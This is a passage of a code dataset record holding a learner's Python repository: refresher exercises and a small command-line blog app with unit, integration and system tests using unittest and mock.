len(grades)\n\n\nprint(average_grade(student))\n"},{"alpha_fraction":0.6179921627044678,"alphanum_fraction":0.6310299634933472,"avg_line_length":26.321428298950195,"blob_id":"716c27569ca0f31e28fdf05e5786afd1c6d6068a","content_id":"7a5b21cfbc744bf6541130f7ec2253a60c409dff","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":767,"license_type":"no_license","max_line_length":72,"num_lines":28,"path":"/Pythonrefresher/OOP.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"\n\nclass Student:\n def __init__(self, name, school):\n self.name = name\n self.school = school\n self.marks = []\n\n def average(self):\n return sum(self.marks)/len(self.marks)\n\n @classmethod\n def friend(cls, name, origin, *args):\n return cls(name, origin.school, *args)\n\n\nclass WorkingStudent(Student):\n def __init__(self, name, school, salary, job_title):\n super().__init__(name, school)\n self.salary = salary\n self.job_title = job_title\n\n\n# school\nstudent = Student(\"Andrew\", \"USIU\")\nfriend = Student.friend(\"Slim\", student)\nanna = WorkingStudent(\"Anna\", \"USIU\", 4000.00, \"HR Manager\")\nprint(anna.salary)\nfriend = WorkingStudent.friend(\"Jason\", anna, 3800, \"Software Engineer\")\nprint(friend.salary)\n"},{"alpha_fraction":0.6303501725196838,"alphanum_fraction":0.6303501725196838,"avg_line_length":33.266666412353516,"blob_id":"5277746e38c19ab60ef7591b08efc9c42dade6a3","content_id":"6f871d636e5874711febfd4726cdf934764e15b8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":514,"license_type":"no_license","max_line_length":100,"num_lines":15,"path":"/TDD/blogapp/tests/unit/test_blog.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"import unittest\nfrom blogapp.blog import Blog\nfrom blogapp.post import Post\n\n\nclass BlogTest(unittest.TestCase):\n def test_create_blog(self):\n b = Blog(\"andrew's life\", \"andrew\")\n self.assertEqual(\"andrew's life\", b.title)\n self.assertEqual(\"andrew\", b.author)\n\n def test_repr_method(self):\n b = Blog(\"Andrew's blog\", \"andrew\")\n self.assertTrue(type(b.__repr__()) == str)\n self.assertEqual(f\"title:{b.title} , author:{b.author}, posts:{len(b.posts)}\", b.__repr__())\n"},{"alpha_fraction":0.43589743971824646,"alphanum_fraction":0.5780885815620422,"avg_line_length":20.450000762939453,"blob_id":"124615fac316a7771bb55e0621a9ec0a4545cc73","content_id":"a8029678ca3a490083ff6726a442e6e3cc97fc94","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":429,"license_type":"no_license","max_line_length":55,"num_lines":20,"path":"/Pythonrefresher/lts.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"# set1 = {1, 2, 3, 4, 5, 6, 9}\n\n# set2 = {5, 12, 4, 7, 9, 15, 12}\n\n# set_comp = {x for x in set1 if x in set2} # method 1\n\n# intersect = set1.intersection(set2)\n# print(set_comp)\n# print(intersect)\n# print(set1.union(set2)) # without repeatition\n# print(set1.difference(set2))\n\nmy_list = [30, 60, 10]\nmy_tuple = (1,)\n\n# set1 = {1, 2, 3, 4, 5, 6, 9, 12, 77}\n\n# set2 = {5, 12, 7, 9, 15, 12, 77}\n\n# print(set1.intersection(set2))\n"},{"alpha_fraction":0.6459459662437439,"alphanum_fraction":0.6459459662437439,"avg_line_length":20.764705657958984,"blob_id":"36f6cb5ff12965765b3a12e5a125f33bab4a3521","content_id":"c87e4119c40b565a2342778befc96f58f9d2ec95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":370,"license_type":"no_license","max_line_length":61,"num_lines":17,"path":"/Pythonrefresher/loops.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"people_you_know = []\n\n\ndef who_do_you_know():\n friends = input('please enter a list of people you know')\n friends = friends.strip() # remove whitespace\n people_you_know = friends.split()\n return ask_user(people_you_know)\n\n\ndef ask_user(lst) -> bool:\n name = input(\"please enter a name: \")\n print(lst)\n return name in lst\n\n\nprint(who_do_you_know())\n"},{"alpha_fraction":0.5844544172286987,"alphanum_fraction":0.5844544172286987,"avg_line_length":32.29999923706055,"blob_id":"35b884d9c7a02a5d6860d9a4b20d74cb0cd1226e","content_id":"7f45ad1702fa500b7982209829524af234e191c3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":669,"license_type":"no_license","max_line_length":84,"num_lines":20,"path":"/TDD/blogapp/blog.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"from TDD.blogapp import post\nclass Blog:\n def __init__(self, title, author):\n self.title = title\n self.author = author\n self.posts = []\n\n def __repr__(self):\n return f\"title:{self.title} , author:{self.author}, posts:{len(self.posts)}\"\n\n def create_post(self, title, content):\n if(title is None or content is None):\n return f\"expected string instead got {title or content}\"\n p = post.Post(title, content)\n self.posts.append(p)\n return self.posts\n\n def json(self):\n return {\"title\": self.title, \"author\": self.author, \"posts\":\n [post.json() for post in self.posts]}\n\n\n\n"},{"alpha_fraction":0.6213592290878296,"alphanum_fraction":0.6213592290878296,"avg_line_length":33.33333206176758,"blob_id":"ea8178e79b47e5f8abfe98eaa7cc901f0cc1a9ea","content_id":"2790da595de8967e50e0c0253f3663adc9473983","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":515,"license_type":"no_license","max_line_length":78,"num_lines":15,"path":"/TDD/blogapp/tests/unit/test_post.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"from unittest import TestCase\nfrom blogapp.post import Post\n\n\nclass TestPosts(TestCase):\n def test_post(self):\n post = Post(\"andrew\", \"my first post\")\n self.assertTrue(type(post.title) == str and type(post.content) == str)\n\n def test_json(self):\n # returns title and content\n post = Post(\"my first post\", \"This is my first post\")\n expected = {'title': \"my first post\",\n 'content': \"This is my first post\"}\n self.assertDictEqual(post.json(), expected)\n"},{"alpha_fraction":0.6491228342056274,"alphanum_fraction":0.6666666865348816,"avg_line_length":20.375,"blob_id":"b893c385d9b4a83ced8975db209019772067de7b","content_id":"b52d6acf71a2b9a35e70f7e928319bd0ddd6f39e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":171,"license_type":"no_license","max_line_length":33,"num_lines":8,"path":"/TDD/blogapp/tests/unit/test_add.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"import unittest\nfrom blogapp.add import add_nums\n\n\nclass TestAdd(unittest.TestCase):\n def test_add(self):\n res = add_nums(1, 2)\n self.assertEqual(3, res)\n"},{"alpha_fraction":0.5924637913703918,"alphanum_fraction":0.5924637913703918,"avg_line_length":30.03636360168457,"blob_id":"e7ae72abb1ff828c691f3b0a5a6ff1ce98ebb915","content_id":"ee537898007fec26b65ba86589785ef742b648dc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1725,"license_type":"no_license","max_line_length":105,"num_lines":55,"path":"/TDD/blogapp/app.py","repo_name":"AndrewOdiit/TDD","src_encoding":"UTF-8","text":"from TDD.blogapp import blog\nfrom TDD.blogapp import post\nMENU_PROMPT = \"Enter 'c' to create a blog , 'l' to list blogs, 'r' to read one , 'p' to create a post: \"\nblogs = dict()\n\ndef print_blogs():\n for _, blog in blogs.items():\n print(f'{blog}')\n\ndef ask_create_blog():\n #ask the user for new bog title and name\n #store it in blogs dictionary\n blog_title = input(\"Enter blog title: \")\n blog_author = input(\"Enter blog author: \")\n blogs[blog_title] = blog.Blog(blog_title, blog_author)\n\ndef ask_create_post():\n blog_title = input(\"please enter name of blog to create post in: \")\n if (blog_title in blogs):\n print(\"input is valid\")\n post_title = input(\"please enter a post title: \")\n post_content = input(\"please enter post content: \")\n blogs[blog_title].create_post(post_title, post_content)\n else:\n print(\"This blog does not exist, please enter a valid blog name\")\n \ndef ask_read_blog():\n blog_name = input(\"Please enter the name of a blog to read: \")\n if(blogs.get(blog_name) is None):\n return \"This blog is not available\"\n else:\n blog = blogs.get(blog_name)\n return print_posts(blog)\n \ndef print_posts(blog):\n for post in blog.posts:\n print_post(post)\n\ndef print_post(post):\n print(f\"{post.title} , {post.content}\")\n\ndef menu():\n print_blogs()\n choice = input(MENU_PROMPT)\n while choice !='q':\n if choice == 'c':\n ask_create_blog()\n elif choice == 'r':\n ask_read_blog()\n elif choice == 'p':\n ask_create_post()\n elif choice =='l':\n print_blogs()\n choice = input(MENU_PROMPT)\n return 'goodbye'\n \n\n\n \n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5345744490623474,\n \"alphanum_fraction\": 0.539893627166748,\n \"avg_line_length\": 31.69565200805664,\n \"blob_id\": \"2917c5a49ffc05957b00051fd957eddd6ee773de\",\n \"content_id\": \"bbe170543bd8a95b8df7cb8ae406c9a95b459af1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 752,\n \"license_type\": \"no_license\",\n \"max_line_length\": 66,\n \"num_lines\": 23,\n \"path\": \"/TDD/blogapp/tests/integration/test_blog.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from unittest import TestCase\\nfrom blogapp.blog import Blog\\n\\n\\nclass Test_Blog(TestCase):\\n def test_create_post(self):\\n b = Blog(\\\"andrew's life\\\", \\\"andrew\\\")\\n b.create_post(\\\"hello\\\", \\\"hello world\\\")\\n self.assertTrue(type(b.posts) == list)\\n\\n self.assertEqual(\\\"hello\\\", b.posts[0].title)\\n self.assertEqual(\\\"hello world\\\", b.posts[0].content)\\n\\n def test_json(self):\\n b = Blog(\\\"andrew's life\\\", \\\"andrew\\\")\\n b.create_post(\\\"hello\\\", \\\"hello world\\\")\\n expected = {\\\"title\\\": b.title, \\\"author\\\": b.author, \\\"posts\\\":\\n [{\\n \\\"title\\\": b.posts[0].title,\\n \\\"content\\\": b.posts[0].content\\n }]}\\n\\n self.assertEqual(expected, b.json())\\n\"\n },\n {\n \"alpha_fraction\": 0.5857142806053162,\n \"alphanum_fraction\": 0.6428571343421936,\n \"avg_line_length\": 13,\n \"blob_id\": \"d5b759ee391754bcdc6b9482f44cbd5af8b845e3\",\n \"content_id\": \"a7522b521f7f7f2b097dc85cfd9666f5a2db7d57\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 70,\n \"license_type\": \"no_license\",\n \"max_line_length\": 24,\n \"num_lines\": 5,\n \"path\": \"/Pythonrefresher/kargs.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def my_method(*args):\\n return sum(args)\\n\\n\\nprint(my_method(22, 33))\\n\"\n },\n {\n \"alpha_fraction\": 0.5581853985786438,\n \"alphanum_fraction\": 0.5660749673843384,\n \"avg_line_length\": 20.125,\n \"blob_id\": \"344d339cbc6f08f403b1d7b8728985fec62e900c\",\n \"content_id\": \"f42432a6d2915629eccc7e034de1577f82a48ef7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 507,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 24,\n \"path\": \"/Pythonrefresher/deco.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import functools\\n\\n\\ndef decorator_with_args(number):\\n def my_decorator(func):\\n @functools.wraps(func)\\n def function_that_runs_func():\\n print(\\\"In the decorator\\\")\\n if number <= 56:\\n return \\\"not running function...exiting\\\"\\n else:\\n func()\\n print(\\\"After decorator\\\")\\n\\n return function_that_runs_func\\n return my_decorator\\n\\n\\n@decorator_with_args(76)\\ndef my_function():\\n print(\\\"Hello\\\")\\n\\n\\nprint(my_function())\\n\"\n },\n {\n \"alpha_fraction\": 0.6481481194496155,\n \"alphanum_fraction\": 0.6481481194496155,\n \"avg_line_length\": 14.882352828979492,\n \"blob_id\": \"8902eadf2b7af4ca691c3aed65830fb45600c04b\",\n \"content_id\": \"3ff1d8b4ac3034d282f341e5b816af4f56e5d315\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 270,\n \"license_type\": \"no_license\",\n \"max_line_length\": 34,\n \"num_lines\": 17,\n \"path\": \"/Pythonrefresher/hof.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import functools\\n\\n\\ndef my_decorator(func):\\n @functools.wraps(func)\\n def function_that_runs_func():\\n print(\\\"In the decorator\\\")\\n func()\\n return function_that_runs_func\\n\\n\\n@my_decorator\\ndef my_function():\\n print(\\\"I'm the function\\\")\\n\\n\\nmy_function()\\n\"\n },\n {\n \"alpha_fraction\": 0.5912531614303589,\n \"alphanum_fraction\": 0.5923745632171631,\n \"avg_line_length\": 42.087501525878906,\n \"blob_id\": \"a46b0d4bd74b182afdc88e4ef283899e08fae025\",\n \"content_id\": \"922027edcba75eb448f814d662cc1caab6b8fce7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3567,\n \"license_type\": \"no_license\",\n \"max_line_length\": 89,\n \"num_lines\": 80,\n \"path\": \"/TDD/blogapp/tests/system/test_app.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# system tests , test the entry point to the application\\nfrom unittest import TestCase\\nfrom unittest.mock import patch\\nimport blogapp.app as app\\nfrom blogapp.blog import Blog\\nfrom blogapp.app import MENU_PROMPT\\n\\n# patch allows you to test a function that would otherwise not be testable\\n# A mock object substitutes and imitates a real object within a testing environment\\n\\n\\nclass TestApp(TestCase):\\n #this test is not working \\n def setUp(self):\\n blog = Blog('Test', 'TestAuthor')\\n app.blogs = {'Test': blog}\\n\\n def test_menu_prints_prompt(self):\\n with patch(\\\"builtins.print\\\") as mocked_print:\\n with patch(\\\"builtins.input\\\" ,return_value ='q' ):\\n app.menu()\\n mocked_print.assert_called()\\n def test_print_blog(self):\\n # an instance of Blog class, has access to all its methods\\n with patch('builtins.print') as mocked_print:\\n # on printing the blog , the __repr__ method of the blog class will be called\\n app.print_blogs()\\n mocked_print.assert_called_with(\\n 'title:Test , author:TestAuthor, posts:0')\\n\\n def test_menu_calls_print_blogs(self):\\n with patch(\\\"blogapp.app.print_blogs\\\") as mocked_print_blogs:\\n with patch(\\\"builtins.input\\\", return_value ='q'):\\n app.menu()\\n mocked_print_blogs.assert_called()\\n\\n def test_app_ask_create_blog(self):\\n with patch(\\\"builtins.input\\\") as mocked_input:\\n mocked_input.side_effect = ('Test', 'Test Author')\\n app.ask_create_blog()\\n self.assertIsNotNone(app.blogs.get('Test'))\\n\\n def test_app_ask_to_read_blog(self):\\n blog = app.blogs['Test']\\n blog.create_post('TestBlog','testing blog')\\n with patch('builtins.input', return_value ='Test'):\\n with patch('blogapp.app.print_posts') as mocked_print_posts:\\n app.ask_read_blog()\\n mocked_print_posts.assert_called_with(blog)\\n def test_app_create_post(self):\\n blog = app.blogs['Test']\\n with patch(\\\"builtins.input\\\") as mocked_input:\\n mocked_input.side_effect = ('Test', 'Testtitle', 'Testcontent')\\n app.ask_create_post()\\n self.assertTrue(len(blog.posts)> 0)\\n self.assertEqual(blog.posts[0].title , \\\"Testtitle\\\")\\n self.assertEqual(blog.posts[0].content , \\\"Testcontent\\\")\\n\\n #when you mock a method , the real method is replaced with a mock\\n #therefore the real method is not actually called.\\n def test_menu_calls_create_blog(self):\\n with patch(\\\"builtins.input\\\") as mocked_input:\\n mocked_input.side_effect =('c', 'testTitle', 'testAuthor','q')\\n app.menu()\\n #mocked_create_blog.assert_called()\\n self.assertIsNotNone(app.blogs.get('testTitle'))\\n\\n def test_menu_calls_ask_read_blog(self):\\n with patch(\\\"blogapp.app.ask_read_blog\\\") as mocked_read_blog:\\n with patch(\\\"builtins.input\\\") as mocked_input:\\n mocked_input.side_effect =('r', 'Test','q')\\n app.menu()\\n mocked_read_blog.assert_called()\\n\\n def test_menu_calls_ask_create_post(self):\\n with patch(\\\"blogapp.app.ask_create_post\\\") as mocked_read_blog:\\n with patch(\\\"builtins.input\\\") as mocked_input:\\n mocked_input.side_effect =('p','Test','q')\\n app.menu()\\n mocked_read_blog.assert_called()\\n \\n \\n\\n \\n\\n\\n\\n \\n\\n \\n \\n \\n \\n\\n\\n \\n\\n\\n\\n\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.6029411554336548,\n \"alphanum_fraction\": 0.6323529481887817,\n \"avg_line_length\": 21.66666603088379,\n \"blob_id\": \"c2cba6f3e524e36140336888eaaea1b58ef7365a\",\n \"content_id\": \"268f77eef55eff3e9dac805c93cddcfbdcbff07c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 204,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 9,\n \"path\": \"/Pythonrefresher/comps.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"student = {'name': 'jose', 'school': 'Computing', 'grades': (66, 77, 88)}\\n\\n\\ndef average_grade(data: dict):\\n grades = data['grades']\\n return sum(grades) / len(grades)\\n\\n\\nprint(average_grade(student))\\n\"\n },\n {\n \"alpha_fraction\": 0.6179921627044678,\n \"alphanum_fraction\": 0.6310299634933472,\n \"avg_line_length\": 26.321428298950195,\n \"blob_id\": \"716c27569ca0f31e28fdf05e5786afd1c6d6068a\",\n \"content_id\": \"7a5b21cfbc744bf6541130f7ec2253a60c409dff\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 767,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 28,\n \"path\": \"/Pythonrefresher/OOP.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\nclass Student:\\n def __init__(self, name, school):\\n self.name = name\\n self.school = school\\n self.marks = []\\n\\n def average(self):\\n return sum(self.marks)/len(self.marks)\\n\\n @classmethod\\n def friend(cls, name, origin, *args):\\n return cls(name, origin.school, *args)\\n\\n\\nclass WorkingStudent(Student):\\n def __init__(self, name, school, salary, job_title):\\n super().__init__(name, school)\\n self.salary = salary\\n self.job_title = job_title\\n\\n\\n# school\\nstudent = Student(\\\"Andrew\\\", \\\"USIU\\\")\\nfriend = Student.friend(\\\"Slim\\\", student)\\nanna = WorkingStudent(\\\"Anna\\\", \\\"USIU\\\", 4000.00, \\\"HR Manager\\\")\\nprint(anna.salary)\\nfriend = WorkingStudent.friend(\\\"Jason\\\", anna, 3800, \\\"Software Engineer\\\")\\nprint(friend.salary)\\n\"\n },\n {\n \"alpha_fraction\": 0.6303501725196838,\n \"alphanum_fraction\": 0.6303501725196838,\n \"avg_line_length\": 33.266666412353516,\n \"blob_id\": \"5277746e38c19ab60ef7591b08efc9c42dade6a3\",\n \"content_id\": \"6f871d636e5874711febfd4726cdf934764e15b8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 514,\n \"license_type\": \"no_license\",\n \"max_line_length\": 100,\n \"num_lines\": 15,\n \"path\": \"/TDD/blogapp/tests/unit/test_blog.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import unittest\\nfrom blogapp.blog import Blog\\nfrom blogapp.post import Post\\n\\n\\nclass BlogTest(unittest.TestCase):\\n def test_create_blog(self):\\n b = Blog(\\\"andrew's life\\\", \\\"andrew\\\")\\n self.assertEqual(\\\"andrew's life\\\", b.title)\\n self.assertEqual(\\\"andrew\\\", b.author)\\n\\n def test_repr_method(self):\\n b = Blog(\\\"Andrew's blog\\\", \\\"andrew\\\")\\n self.assertTrue(type(b.__repr__()) == str)\\n self.assertEqual(f\\\"title:{b.title} , author:{b.author}, posts:{len(b.posts)}\\\", b.__repr__())\\n\"\n },\n {\n \"alpha_fraction\": 0.43589743971824646,\n \"alphanum_fraction\": 0.5780885815620422,\n \"avg_line_length\": 20.450000762939453,\n \"blob_id\": \"124615fac316a7771bb55e0621a9ec0a4545cc73\",\n \"content_id\": \"a8029678ca3a490083ff6726a442e6e3cc97fc94\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 429,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 20,\n \"path\": \"/Pythonrefresher/lts.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# set1 = {1, 2, 3, 4, 5, 6, 9}\\n\\n# set2 = {5, 12, 4, 7, 9, 15, 12}\\n\\n# set_comp = {x for x in set1 if x in set2} # method 1\\n\\n# intersect = set1.intersection(set2)\\n# print(set_comp)\\n# print(intersect)\\n# print(set1.union(set2)) # without repeatition\\n# print(set1.difference(set2))\\n\\nmy_list = [30, 60, 10]\\nmy_tuple = (1,)\\n\\n# set1 = {1, 2, 3, 4, 5, 6, 9, 12, 77}\\n\\n# set2 = {5, 12, 7, 9, 15, 12, 77}\\n\\n# print(set1.intersection(set2))\\n\"\n },\n {\n \"alpha_fraction\": 0.6459459662437439,\n \"alphanum_fraction\": 0.6459459662437439,\n \"avg_line_length\": 20.764705657958984,\n \"blob_id\": \"36f6cb5ff12965765b3a12e5a125f33bab4a3521\",\n \"content_id\": \"c87e4119c40b565a2342778befc96f58f9d2ec95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 370,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 17,\n \"path\": \"/Pythonrefresher/loops.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"people_you_know = []\\n\\n\\ndef who_do_you_know():\\n friends = input('please enter a list of people you know')\\n friends = friends.strip() # remove whitespace\\n people_you_know = friends.split()\\n return ask_user(people_you_know)\\n\\n\\ndef ask_user(lst) -> bool:\\n name = input(\\\"please enter a name: \\\")\\n print(lst)\\n return name in lst\\n\\n\\nprint(who_do_you_know())\\n\"\n },\n {\n \"alpha_fraction\": 0.5844544172286987,\n \"alphanum_fraction\": 0.5844544172286987,\n \"avg_line_length\": 32.29999923706055,\n \"blob_id\": \"35b884d9c7a02a5d6860d9a4b20d74cb0cd1226e\",\n \"content_id\": \"7f45ad1702fa500b7982209829524af234e191c3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 669,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 20,\n \"path\": \"/TDD/blogapp/blog.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from TDD.blogapp import post\\nclass Blog:\\n def __init__(self, title, author):\\n self.title = title\\n self.author = author\\n self.posts = []\\n\\n def __repr__(self):\\n return f\\\"title:{self.title} , author:{self.author}, posts:{len(self.posts)}\\\"\\n\\n def create_post(self, title, content):\\n if(title is None or content is None):\\n return f\\\"expected string instead got {title or content}\\\"\\n p = post.Post(title, content)\\n self.posts.append(p)\\n return self.posts\\n\\n def json(self):\\n return {\\\"title\\\": self.title, \\\"author\\\": self.author, \\\"posts\\\":\\n [post.json() for post in self.posts]}\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6213592290878296,\n \"alphanum_fraction\": 0.6213592290878296,\n \"avg_line_length\": 33.33333206176758,\n \"blob_id\": \"ea8178e79b47e5f8abfe98eaa7cc901f0cc1a9ea\",\n \"content_id\": \"2790da595de8967e50e0c0253f3663adc9473983\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 515,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 15,\n \"path\": \"/TDD/blogapp/tests/unit/test_post.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from unittest import TestCase\\nfrom blogapp.post import Post\\n\\n\\nclass TestPosts(TestCase):\\n def test_post(self):\\n post = Post(\\\"andrew\\\", \\\"my first post\\\")\\n self.assertTrue(type(post.title) == str and type(post.content) == str)\\n\\n def test_json(self):\\n # returns title and content\\n post = Post(\\\"my first post\\\", \\\"This is my first post\\\")\\n expected = {'title': \\\"my first post\\\",\\n 'content': \\\"This is my first post\\\"}\\n self.assertDictEqual(post.json(), expected)\\n\"\n },\n {\n \"alpha_fraction\": 0.6491228342056274,\n \"alphanum_fraction\": 0.6666666865348816,\n \"avg_line_length\": 20.375,\n \"blob_id\": \"b893c385d9b4a83ced8975db209019772067de7b\",\n \"content_id\": \"b52d6acf71a2b9a35e70f7e928319bd0ddd6f39e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 171,\n \"license_type\": \"no_license\",\n \"max_line_length\": 33,\n \"num_lines\": 8,\n \"path\": \"/TDD/blogapp/tests/unit/test_add.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import unittest\\nfrom blogapp.add import add_nums\\n\\n\\nclass TestAdd(unittest.TestCase):\\n def test_add(self):\\n res = add_nums(1, 2)\\n self.assertEqual(3, res)\\n\"\n },\n {\n \"alpha_fraction\": 0.5924637913703918,\n \"alphanum_fraction\": 0.5924637913703918,\n \"avg_line_length\": 30.03636360168457,\n \"blob_id\": \"e7ae72abb1ff828c691f3b0a5a6ff1ce98ebb915\",\n \"content_id\": \"ee537898007fec26b65ba86589785ef742b648dc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1725,\n \"license_type\": \"no_license\",\n \"max_line_length\": 105,\n \"num_lines\": 55,\n \"path\": \"/TDD/blogapp/app.py\",\n \"repo_name\": \"AndrewOdiit/TDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from TDD.blogapp import blog\\nfrom TDD.blogapp import post\\nMENU_PROMPT = \\\"Enter 'c' to create a blog , 'l' to list blogs, 'r' to read one , 'p' to create a post: \\\"\\nblogs = dict()\\n\\ndef print_blogs():\\n for _, blog in blogs.items():\\n print(f'{blog}')\\n\\ndef ask_create_blog():\\n #ask the user for new bog title and name\\n #store it in blogs dictionary\\n blog_title = input(\\\"Enter blog title: \\\")\\n blog_author = input(\\\"Enter blog author: \\\")\\n blogs[blog_title] = blog.Blog(blog_title, blog_author)\\n\\ndef ask_create_post():\\n blog_title = input(\\\"please enter name of blog to create post in: \\\")\\n if (blog_title in blogs):\\n print(\\\"input is valid\\\")\\n post_title = input(\\\"please enter a post title: \\\")\\n post_content = input(\\\"please enter post content: \\\")\\n blogs[blog_title].create_post(post_title, post_content)\\n else:\\n print(\\\"This blog does not exist, please enter a valid blog name\\\")\\n \\ndef ask_read_blog():\\n blog_name = input(\\\"Please enter the name of a blog to read: \\\")\\n if(blogs.get(blog_name) is None):\\n return \\\"This blog is not available\\\"\\n else:\\n blog = blogs.get(blog_name)\\n return print_posts(blog)\\n \\ndef print_posts(blog):\\n for post in blog.posts:\\n print_post(post)\\n\\ndef print_post(post):\\n print(f\\\"{post.title} , {post.content}\\\")\\n\\ndef menu():\\n print_blogs()\\n choice = input(MENU_PROMPT)\\n while choice !='q':\\n if choice == 'c':\\n ask_create_blog()\\n elif choice == 'r':\\n ask_read_blog()\\n elif choice == 'p':\\n ask_create_post()\\n elif choice =='l':\\n print_blogs()\\n choice = input(MENU_PROMPT)\\n return 'goodbye'\\n \\n\\n\\n \\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":14,"string":"14"}}},{"rowIdx":2978373,"cells":{"repo_name":{"kind":"string","value":"Trietptm-on-Coding-Algorithms/r2_scripts"},"repo_url":{"kind":"string","value":"https://github.com/Trietptm-on-Coding-Algorithms/r2_scripts"},"snapshot_id":{"kind":"string","value":"19cd0826ef4c7e7d6aa425193200747eb8138748"},"revision_id":{"kind":"string","value":"91af4afe287385255e58f58e39ce5a78097141df"},"directory_id":{"kind":"string","value":"2815b55c1450bc9a66c807f6bbac2355945d37ee"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-10-08T06:01:35.366063","string":"2021-10-08T06:01:35.366063"},"revision_date":{"kind":"timestamp","value":"2018-12-08T16:01:24","string":"2018-12-08T16:01:24"},"committer_date":{"kind":"timestamp","value":"2018-12-08T16:01:24","string":"2018-12-08T16:01:24"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list 